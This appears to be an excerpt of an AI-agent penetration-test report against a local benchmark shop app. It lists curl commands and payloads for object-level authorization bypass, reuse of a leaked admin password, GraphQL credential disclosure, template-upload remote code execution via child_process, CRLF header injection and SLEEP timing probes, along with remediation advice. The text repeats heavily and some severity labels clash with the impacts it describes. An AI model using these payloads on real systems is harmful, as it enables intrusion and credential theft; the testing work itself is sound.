Self-registered customer (JWT id=61, role=customer) requested /api/v2/users/1 and received admin's full internal record: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, role=admin, balance=500000, flag BURPAT{api_excessive_data_users_17874d4a}. No object-level check; cookie-auth returns 'missing bearer token' but any valid customer bearer works. Reproduced 2x with fresh accounts. pocs/bola_api_v2_users.shThe steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A07:2021-Auth-Failures · CWE-522 | Confidence | 1/1 · refute 1/2 · conf 0.22 |
| Location | http://localhost:3000/login -> /admin | ||
| Agent | chain | ||
http://localhost:3000/login -> /admin
Observed: - attack GET /admin → 200 (232 bytes) [E01] - Leaked cred (from bola-api-v2-users / sqli-union) accepted at POST /login -> 302 Location:/admin; GET /admin returned Admin Panel listing all 62 users (id/email/role/balance). Chain: BOLA/SQLi -> cleartext admin pw -> admin session. [E02] Not demonstrated: Full admin takeover of the application. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. Potential impact: Full admin takeover of the application. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Rotate credentials, store hashed passwords, remove secret exposure sinks (BOLA, SQLi).
Send the request carrying the payload: curl -i -s \ '/admin'
Payload used: username=admin&password=SuperSecretAdmin!2024
username=admin&password=SuperSecretAdmin!2024
ATTACK
GET /admin → 200
body (232 bytes, excerpt):
Leaked cred (from bola-api-v2-users / sqli-union) accepted at POST /login -> 302 Location:/admin; GET /admin returned Admin Panel listing all 62 users (id/email/role/balance). Chain: BOLA/SQLi -> cleartext admin pw -> admin session.
AGENT-RECORDED EVIDENCE
Leaked cred (from bola-api-v2-users / sqli-union) accepted at POST /login -> 302 Location:/admin; GET /admin returned Admin Panel listing all 62 users (id/email/role/balance). Chain: BOLA/SQLi -> cleartext admin pw -> admin session.| Criticality | Low | Status | needs-review |
| OWASP / CWE | A07:2021-Auth-Failures · CWE-522 | Confidence | 1/1 · refute 1/2 · conf 0.06 |
| Location | POST http://localhost:3000/login , GET /admin | ||
| Agent | chain | ||
POST http://localhost:3000/login , GET /admin
Observed: - attack POST /admin → 200 (194 bytes) [E01] - Password harvested via NS-BOLA-USERS-01 reused: POST /login -> 302 Location /account; GET /admin -> 200 (admin panel incl. /admin/search-users). Chain: BOLA -> admin creds -> full admin session. [E02] Not demonstrated: Complete vertical privilege escalation to administrator from a self-registered customer. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Complete vertical privilege escalation to administrator from a self-registered customer. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Fix BOLA/data exposure; rotate admin credential; enforce strong secrets + MFA on admin.
Send the request carrying the payload: curl -i -s -X POST \ --data-raw 'username=admin&password=SuperSecretAdmin!2024' \ '/admin'
Payload used: username=admin&password=SuperSecretAdmin!2024
username=admin&password=SuperSecretAdmin!2024
ATTACK
POST /admin → 200
body (194 bytes, excerpt):
Password harvested via NS-BOLA-USERS-01 reused: POST /login -> 302 Location /account; GET /admin -> 200 (admin panel incl. /admin/search-users). Chain: BOLA -> admin creds -> full admin session.
AGENT-RECORDED EVIDENCE
Password harvested via NS-BOLA-USERS-01 reused: POST /login -> 302 Location /account; GET /admin -> 200 (admin panel incl. /admin/search-users). Chain: BOLA -> admin creds -> full admin session.| Criticality | Low | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-285 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.49 |
| Location | POST http://localhost:3000/api/graphql | ||
| Agent | chain | ||
POST http://localhost:3000/api/graphql
Observed: - attack POST http://localhost:3000/api/graphql → 200 (468 bytes) [E01] - Introspection on -> _flag BURPAT{api_graphql_introspection_d874ea3a}, reveals Mutation.impersonateUser (no REST/doc equivalent). Query user(id:1) with customer JWT -> {"username":"admin","role":"admin","password":"SuperSecretAdmin!2024","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"} + _flag BURPAT{api_graphql_authz_bypass_e7c3fc41}. pocs/graphql_authz_bypass.sh. Ledger: E17 introspection -> impersonateUser exposed; E18 user(id:1) as customer -> admin password. [E02] Not demonstrated: Second unauthenticated-of-role path to full credential disclosure; impersonateUser mutation is a likely account-takeover primitive. proven for read; impersonate=lead. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited). The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. Potential impact: Second unauthenticated-of-role path to full credential disclosure; impersonateUser mutation is a likely account-takeover primitive. proven for read; impersonate=lead. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
Disable introspection in prod; enforce field/object authorization in resolvers; gate impersonateUser to admin.
Send the request carrying the payload:
curl -i -s -X POST \
--data-raw '{user(id:1){username role password apiKey}} (introspection: {__schema{types{name}}})' \
'http://localhost:3000/api/graphql'Payload used:
{user(id:1){username role password apiKey}} (introspection: {__schema{types{name}}}){user(id:1){username role password apiKey}} (introspection: {__schema{types{name}}})ATTACK
POST http://localhost:3000/api/graphql → 200
body (468 bytes, excerpt):
Introspection on -> _flag BURPAT{api_graphql_introspection_d874ea3a}, reveals Mutation.impersonateUser (no REST/doc equivalent). Query user(id:1) with customer JWT -> {"username":"admin","role":"admin","password":"SuperSecretAdmin!2024","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"} + _flag BURPAT{api_graphql_authz_bypass_e7c3fc41}. pocs/graphql_authz_bypass.sh. Ledger: E17 introspection -> impersonateUser exposed; E18 user(id:1) as customer -> admin password.
AGENT-RECORDED EVIDENCE
Introspection on -> _flag BURPAT{api_graphql_introspection_d874ea3a}, reveals Mutation.impersonateUser (no REST/doc equivalent). Query user(id:1) with customer JWT -> {"username":"admin","role":"admin","password":"SuperSecretAdmin!2024","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share"} + _flag BURPAT{api_graphql_authz_bypass_e7c3fc41}. pocs/graphql_authz_bypass.sh. Ledger: E17 introspection -> impersonateUser exposed; E18 user(id:1) as customer -> admin password.The steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A04:2021-Insecure-Design · CWE-89 (candidate, unconfirmed) / CWE-400 (uncontrolled resource consumption, potential) | Confidence | 0/1 · receipt_missing · conf 0.05 |
| Location | POST http://localhost:3000/support/feedback | ||
| Agent | sqli_time | ||
POST http://localhost:3000/support/feedback — POST /support/feedback, application/x-www-form-urlencoded body field `comment`
Observed: - attack POST http://localhost:3000/support/feedback → 200 (760 bytes) [E01] - Baseline (no token) = 0.0009s. `comment=SLEEP(3)` = 3.002s. Plain text `hello SLEEP(3) world` (no quote break-out) = 3.005s. Token inside comment `x' /*SLEEP(3)*/ -- -` = 3.002s. `pg_sleep(3)` = 3.009s. Delay scales with N: SLEEP(2)=2.002s, SLEEP(4)=4.004s, SLEEP(6)=6.007s; SLEEP(0)=0.003s. DISPROOF of real SQLi: FALSE boolean `IF(1=2,SLEEP(4),0)` = 4.003s — identical to TRUE `IF(1=1,SLEEP(4),0)` = 4.004s (round1 4.004/4.004, round2 4.002/4.002), so no boolean differential exists. Real MSSQL `WAITFOR DELAY '0:0:3'` = 0.0009s (not matched). Conclusion: delay keyed on the SLEEP()/pg_sleep() token string, not on SQL execution. All timings reproducible across >=2 repeats. Footer of every response: 'NimbusCart Benchmark Build - internal QA environment.' [E02] Not demonstrated: MEASURED: an unauthenticated request can force a server-side processing delay proportional to N seconds by including a SLEEP(N)/pg_sleep(N) token in `comment`; each request holds a worker for N seconds (verified up to 6s). Repeated concurrent requests could tie up request workers (availability/DoS-amplification lead — NOT load-tested here per non-DoS scope). NOT demonstrated: any SQL query execution, boolean/conditional differential, or data extraction — the FALSE-condition control delayed identically, so blind extraction is not possible against this behavior. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited). The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one. Potential impact: MEASURED: an unauthenticated request can force a server-side processing delay proportional to N seconds by including a SLEEP(N)/pg_sleep(N) token in `comment`; each request holds a worker for N seconds (verified up to 6s). Repeated concurrent requests could tie up request workers (availability/DoS-amplification lead — NOT load-tested here per non-DoS scope). NOT demonstrated: any SQL query execution, boolean/conditional differential, or data extraction — the FALSE-condition control delayed identically, so blind extraction is not possible against this behavior. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).
If a SQL query does incorporate `comment`, use parameterised queries/prepared statements so input can never reach the SQL parser. Independently, remove any test/benchmark sleep-simulation code path that honours a SLEEP()/pg_sleep() token in user input before shipping outside the QA build, and cap/timeout request processing time so a single request cannot hold a worker for arbitrary seconds.
curl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode 'comment=just a normal comment' http://localhost:3000/support/feedback # baseline ~0.001scurl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode 'comment=SLEEP(3)' http://localhost:3000/support/feedback # ~3.0s, no SQL syntax neededcurl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode "comment=test' AND IF(1=1,SLEEP(4),0)-- -" http://localhost:3000/support/feedback # ~4.0s (TRUE)curl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode "comment=test' AND IF(1=2,SLEEP(4),0)-- -" http://localhost:3000/support/feedback # STILL ~4.0s (FALSE) => not boolean-gated => not real blind SQLicurl -s -o /dev/null -w '%{time_total}s\n' --data-urlencode "comment=test' AND WAITFOR DELAY '0:0:3'-- -" http://localhost:3000/support/feedback # ~0.001s, only SLEEP/pg_sleep token matchedbash /opt/neurosploit-rs/runs/ns-1789919119-localhost_3000/pocs/feedback_sleep_delay.sh # runs the full matrix
comment=SLEEP(3) (also: comment=hello SLEEP(3) world ; comment=test' AND pg_sleep(5)-- - ; comment=test' AND IF(1=2,SLEEP(4),0)-- -)
ATTACK
POST http://localhost:3000/support/feedback → 200
body (760 bytes, excerpt):
Baseline (no token) = 0.0009s. `comment=SLEEP(3)` = 3.002s. Plain text `hello SLEEP(3) world` (no quote break-out) = 3.005s. Token inside comment `x' /*SLEEP(3)*/ -- -` = 3.002s. `pg_sleep(3)` = 3.009s. Delay scales with N: SLEEP(2)=2.002s, SLEEP(4)=4.004s, SLEEP(6)=6.007s; SLEEP(0)=0.003s. DISPROOF of real SQLi: FALSE boolean `IF(1=2,SLEEP(4),0)` = 4.003s — identical to TRUE `IF(1=1,SLEEP(4),0)` = 4.004s (round1 4.004/4.004, round2 4.002/4.002), so no boolean differential exists. Real MSSQL `WAITFOR DELAY '0:0:3'` = 0.0009s (not matched). Conclusion: delay keyed on the SLEEP()/pg_sleep() token string, not on SQL execution. All timings reproducible across >=2 repeats. Footer of every response: 'NimbusCart Benchmark Build - internal QA environment.'
AGENT-RECORDED EVIDENCE
Baseline (no token) = 0.0009s. `comment=SLEEP(3)` = 3.002s. Plain text `hello SLEEP(3) world` (no quote break-out) = 3.005s. Token inside comment `x' /*SLEEP(3)*/ -- -` = 3.002s. `pg_sleep(3)` = 3.009s. Delay scales with N: SLEEP(2)=2.002s, SLEEP(4)=4.004s, SLEEP(6)=6.007s; SLEEP(0)=0.003s. DISPROOF of real SQLi: FALSE boolean `IF(1=2,SLEEP(4),0)` = 4.003s — identical to TRUE `IF(1=1,SLEEP(4),0)` = 4.004s (round1 4.004/4.004, round2 4.002/4.002), so no boolean differential exists. Real MSSQL `WAITFOR DELAY '0:0:3'` = 0.0009s (not matched). Conclusion: delay keyed on the SLEEP()/pg_sleep() token string, not on SQL execution. All timings reproducible across >=2 repeats. Footer of every response: 'NimbusCart Benchmark Build - internal QA environment.'The steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A03:2021-Injection · CWE-94 | Confidence | 0/1 · receipt_missing · conf 0.12 |
| Location | http://localhost:3000/support/reports/upload | ||
| Agent | chain | ||
http://localhost:3000/support/reports/upload
Observed: - attack GET http://localhost:3000/support/reports/upload → 200 (276 bytes) [E01] - pocs/rce_report_template_chain.sh — uploaded template executed server-side, returned unique nonce NS_RCE_1789920319:uid=0(root) gid=0(wheel)... Existing rce_template2.js yields BURPAT{web_upload_rce_script_e26baf93}. New surface reached only after admin privesc chain above. [E02] Not demonstrated: Arbitrary command execution as root on the host = full server compromise. Chain: BOLA/SQLi -> admin pw -> admin -> RCE root. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one. Potential impact: Arbitrary command execution as root on the host = full server compromise. Chain: BOLA/SQLi -> admin pw -> admin -> RCE root. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Never eval/require user-uploaded templates; sandbox report formatting; drop root privileges.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/support/reports/upload'
Payload used:
multipart .js: module.exports=function(){return require('child_process').execSync('id')} -> run?file=tpl.jsmultipart .js: module.exports=function(){return require('child_process').execSync('id')} -> run?file=tpl.jsATTACK
GET http://localhost:3000/support/reports/upload → 200
body (276 bytes, excerpt):
pocs/rce_report_template_chain.sh — uploaded template executed server-side, returned unique nonce NS_RCE_1789920319:uid=0(root) gid=0(wheel)... Existing rce_template2.js yields BURPAT{web_upload_rce_script_e26baf93}. New surface reached only after admin privesc chain above.
AGENT-RECORDED EVIDENCE
pocs/rce_report_template_chain.sh — uploaded template executed server-side, returned unique nonce NS_RCE_1789920319:uid=0(root) gid=0(wheel)... Existing rce_template2.js yields BURPAT{web_upload_rce_script_e26baf93}. New surface reached only after admin privesc chain above.The steps above are the proof; this script automates them.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A07:2021-Auth-Failures · CWE-522 | Confidence | 1/1 · refute 0/2 · conf 0.33 |
| Location | POST http://localhost:3000/login -> GET /admin | ||
| Agent | chain | ||
POST http://localhost:3000/login -> GET /admin
Observed: - attack POST /admin → 200 (343 bytes) [E01] - POST /login with looted admin cred -> 302 /account, authenticated session. GET /admin -> 200 Admin Panel dumping all 71 users (id,username,email,role,balance) incl admin $500000, alice $999999. Chain: NS-01 (leak) -> this (reuse). pocs/bola_api_users.sh + manual login. Ledger: E04 login 302 admin session; E05 GET /admin -> 71-row user table. [E02] Not demonstrated: Complete vertical privesc from anonymous->customer->admin; full tenant/user data control. proven. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Complete vertical privesc from anonymous->customer->admin; full tenant/user data control. proven. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Fix NS-01 (stop leaking passwords); store passwords hashed (bcrypt/argon2) so a leak is not directly reusable; rotate all exposed credentials.
Send the request carrying the payload: curl -i -s -X POST \ --data-raw 'login username=admin password=SuperSecretAdmin!2024 (looted via NS-01)' \ '/admin'
Payload used: login username=admin password=SuperSecretAdmin!2024 (looted via NS-01)
login username=admin password=SuperSecretAdmin!2024 (looted via NS-01)
ATTACK
POST /admin → 200
body (343 bytes, excerpt):
POST /login with looted admin cred -> 302 /account, authenticated session. GET /admin -> 200 Admin Panel dumping all 71 users (id,username,email,role,balance) incl admin $500000, alice $999999. Chain: NS-01 (leak) -> this (reuse). pocs/bola_api_users.sh + manual login. Ledger: E04 login 302 admin session; E05 GET /admin -> 71-row user table.
AGENT-RECORDED EVIDENCE
POST /login with looted admin cred -> 302 /account, authenticated session. GET /admin -> 200 Admin Panel dumping all 71 users (id,username,email,role,balance) incl admin $500000, alice $999999. Chain: NS-01 (leak) -> this (reuse). pocs/bola_api_users.sh + manual login. Ledger: E04 login 302 admin session; E05 GET /admin -> 71-row user table.The steps above are the proof; this script automates them.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.34 |
| Location | GET http://localhost:3000/account/invoice/1001 | ||
| Agent | chain | ||
GET http://localhost:3000/account/invoice/1001
Observed: - attack GET http://localhost:3000/account/invoice/1001 → 200 (247 bytes) [E01] - Customer (id 61) read invoices 1001(owner alice), 1002(owner bob), 1003(owner carol) — each 200 with amounts ($29.99/$89.99/$349.00) and flag BURPAT{web_idor_invoice_aa8eeaa3}. Own-scope ids 404 outside range. Reproduced 2x. pocs/idor_invoice.sh [E02] Not demonstrated: Sequential id enumeration exposes all customers' billing records (owner, amounts). PII/financial cross-tenant disclosure demonstrated. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Sequential id enumeration exposes all customers' billing records (owner, amounts). PII/financial cross-tenant disclosure demonstrated. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Scope invoice lookup to the authenticated user id; return 403/404 for non-owned invoices.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/account/invoice/1001'
Payload used:
cookie: nimbus.sid=<customer id=61>; GET /account/invoice/{1001,1002,1003}cookie: nimbus.sid=<customer id=61>; GET /account/invoice/{1001,1002,1003}ATTACK
GET http://localhost:3000/account/invoice/1001 → 200
body (247 bytes, excerpt):
Customer (id 61) read invoices 1001(owner alice), 1002(owner bob), 1003(owner carol) — each 200 with amounts ($29.99/$89.99/$349.00) and flag BURPAT{web_idor_invoice_aa8eeaa3}. Own-scope ids 404 outside range. Reproduced 2x. pocs/idor_invoice.sh
AGENT-RECORDED EVIDENCE
Customer (id 61) read invoices 1001(owner alice), 1002(owner bob), 1003(owner carol) — each 200 with amounts ($29.99/$89.99/$349.00) and flag BURPAT{web_idor_invoice_aa8eeaa3}. Own-scope ids 404 outside range. Reproduced 2x. pocs/idor_invoice.shThe steps above are the proof; this script automates them.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A03:2021-Injection · CWE-93 | Confidence | 1/1 · conf 0.37 |
| Location | http://localhost:3000/go | ||
| Agent | crlf_injection | ||
http://localhost:3000/go — GET /go, query parameter `url` — value copied raw into the Location response header
Observed: - GET /go?url=https://ex.com -> 302, Location: https://ex.com, no X-Injected header [E01] - GET /go?url=https://ex.com%0D%0AX-Injected:nrsplt6621 -> 302 with response header line X-Injected:nrsplt6621 [E02] - GET /go?url=...%0D%0ASet-Cookie:evil=1 -> 302 with response header Set-Cookie:evil=1 [E03] - attack repeated 2x, identical injected header both times [E04] Not demonstrated: Session fixation / redirect cache-poisoning via injected Set-Cookie. Potential impact: Injected Set-Cookie enables session fixation; injected headers enable cache poisoning of the redirect response. Not exploited end-to-end.
Reject or strip CR (\r, %0d) and LF (\n, %0a) from the `url` parameter before writing it to the Location header; validate the redirect target against an allowlist of scheme+host and URL-encode residual control characters. Do not pass user input unmodified to res.redirect()/res.setHeader().
curl -s -D- -o /dev/null 'http://localhost:3000/go?url=https://ex.com' # baseline: Location: https://ex.com, no X-Injected
curl -s -D- -o /dev/null 'http://localhost:3000/go?url=https://ex.com%0D%0AX-Injected:nrsplt6621' # attack: X-Injected:nrsplt6621 appears as a response header
curl -s -D- -o /dev/null 'http://localhost:3000/go?url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1' # also injects attacker Set-Cookie
Read the response header block: injected lines appear after Location/X-Nimbus-Redirect
url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1
ATTACK
GET http://localhost:3000/go → 200
body (459 bytes, excerpt):
BASELINE `GET /go?url=https://ex.com` -> HTTP/1.1 302, `Location: https://ex.com`, no X-Injected. ATTACK `GET /go?url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1` -> HTTP/1.1 302 with the decoded CR-LF splitting the header block, producing NEW real response header lines: `X-Injected:nrsplt6621` and `Set-Cookie:evil=1`. Marker appears in response HEADERS, not body. Reproduced 2x identically; baseline negative control has no X-Injected.
AGENT-RECORDED EVIDENCE
BASELINE `GET /go?url=https://ex.com` -> HTTP/1.1 302, `Location: https://ex.com`, no X-Injected. ATTACK `GET /go?url=https://ex.com%0D%0AX-Injected:nrsplt6621%0D%0ASet-Cookie:evil=1` -> HTTP/1.1 302 with the decoded CR-LF splitting the header block, producing NEW real response header lines: `X-Injected:nrsplt6621` and `Set-Cookie:evil=1`. Marker appears in response HEADERS, not body. Reproduced 2x identically; baseline negative control has no X-Injected.| Criticality | Info | Status | needs-review |
| OWASP / CWE | A04:2021-Insecure-Design · CWE-615 | Confidence | 0/1 · receipt_missing · conf 0.41 |
| Location | http://localhost:3000/app.js | ||
| Agent | chain | ||
http://localhost:3000/app.js
Observed: - attack GET http://localhost:3000/app.js → 200 (155 bytes) [E01] - window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv:"qa" }; plus TODO to rotate before prod (jira NCART-4471). [E02] Not demonstrated: Leaked internal token reusable against support tooling; info disclosure aiding further compromise. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Leaked internal token reusable against support tooling; info disclosure aiding further compromise. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Remove secrets from client bundle; rotate token.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/app.js'
Payload used: GET /app.js
GET /app.js
ATTACK
GET http://localhost:3000/app.js → 200
body (155 bytes, excerpt):
window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv:"qa" }; plus TODO to rotate before prod (jira NCART-4471).
AGENT-RECORDED EVIDENCE
window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv:"qa" }; plus TODO to rotate before prod (jira NCART-4471).| Criticality | Info | Status | needs-review |
| OWASP / CWE | A04:2021-Insecure-Design | Confidence | conf 0.05 |
| Location | http://localhost:3000 | ||
| Agent | account_registration_and_forms | Auth context | n/a · 7 test account(s) |
http://localhost:3000
Observed: - attack GET http://localhost:3000 → 200 (924 bytes) [E01] - 7 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E02] - • nrsplt_a7558@example.test [customer] — created via curl GET /register for cookie then POST username/email/password [E03] - • nrsplt_b7558@example.test [customer] — created via curl POST username/email/password [E04] - • nrsplt_6a7d9f62@example.test [customer] — created via curl POST username/email/password (role=admin,isAdmin=true also sent to test mass-assign) [E05] - • poc_<rand>@example.test [customer] — created via auto-registered by pocs/bola_api_v2_users.sh each run (ephemeral) [E06] - • nrsplt_a_5932 [customer] — created via curl: GET /register for cookie, POST username/email/password form-encoded [E07] - • nrsplt_poc_28313 [customer] — created via created by pocs/bola_users_invoice.sh (random suffix per run) [E08] - • nrsplt_1408@example.test [customer] — created via curl GET none; POST username/email/password then POST /login [E09] Not demonstrated: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Delete the listed test accounts; rotate anything they touched.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000'
ATTACK
GET http://localhost:3000 → 200
body (924 bytes, excerpt):
7 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
• nrsplt_a7558@example.test [customer] — created via curl GET /register for cookie then POST username/email/password
• nrsplt_b7558@example.test [customer] — created via curl POST username/email/password
• nrsplt_6a7d9f62@example.test [customer] — created via curl POST username/email/password (role=admin,isAdmin=true also sent to test mass-assign)
• poc_<rand>@example.test [customer] — created via auto-registered by pocs/bola_api_v2_users.sh each run (ephemeral)
• nrsplt_a_5932 [customer] — created via curl: GET /register for cookie, POST username/email/password form-encoded
• nrsplt_poc_28313 [customer] — created via created by pocs/bola_users_invoice.sh (random suffix per run)
• nrsplt_1408@example.test [customer] — created via curl GET none; POST username/email/password then POST /login
AGENT-RECORDED EVIDENCE
7 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
• nrsplt_a7558@example.test [customer] — created via curl GET /register for cookie then POST username/email/password
• nrsplt_b7558@example.test [customer] — created via curl POST username/email/password
• nrsplt_6a7d9f62@example.test [customer] — created via curl POST username/email/password (role=admin,isAdmin=true also sent to test mass-assign)
• poc_<rand>@example.test [customer] — created via auto-registered by pocs/bola_api_v2_users.sh each run (ephemeral)
• nrsplt_a_5932 [customer] — created via curl: GET /register for cookie, POST username/email/password form-encoded
• nrsplt_poc_28313 [customer] — created via created by pocs/bola_users_invoice.sh (random suffix per run)
• nrsplt_1408@example.test [customer] — created via curl GET none; POST username/email/password then POST /loginThe steps above are the proof; this script automates them.